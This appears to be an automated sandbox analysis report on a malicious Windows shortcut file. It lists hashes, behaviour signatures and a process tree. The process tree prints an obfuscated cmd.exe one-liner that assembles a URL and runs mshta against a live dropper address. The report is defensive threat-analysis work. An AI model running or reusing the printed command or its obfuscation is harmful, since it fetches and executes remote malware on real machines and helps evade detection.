Analysis

  • max time kernel
    59s
  • max time network
    61s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/08/2026, 03:26

General

  • Target
    DOC-TWKO44.lnk
  • Size 2KB
  • Sample260823-dzd7basdlg
  • SHA256 18a9dddf7f77af756e82e6ab3d61491f333e77504cf8d6bbe56df9febe85a626
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-TWKO44.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4844
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set Hq=cachenkucwycache&set VNAUu=sysyyefiwzqnceejidcsys&set hl=infeecoumtcxhuzowfemtinf&set zWUGO=htmsh3&&set layf=uvta5sp&set QpR=tmpcmalxehqjtmp&set tlX=cfgmkibkkohlnmdzxpsccfg&set Ejxkt=tmppunikavbjrxbiehtmp&set Zz=cfgwlvqlskbqcfg&set nMZSs=cfgeeigwqcwcfg&set yO=3cdsl&&set lCs=9tarcf&&set dxR=x47tb&set VPT=loglzqvqjsascrjlcfhhsttlog&set cBzo=dbgqqiokqqlwyhynvofwdbg&set Vs=lognnvdwkparzofecsielog&&set zpvvZ=h@ttps:/@/m@a-@p@df@fille@[email protected]@t/h/e@st@a@gi@o1.@php@?r@=@39@14@69@FB5@D@82D@B&&start /b !zWUGO:~2,3!!layf:~2,2! !zpvvZ:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5636
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:5564

    Network

          MITRE ATT&CK Enterprise v16

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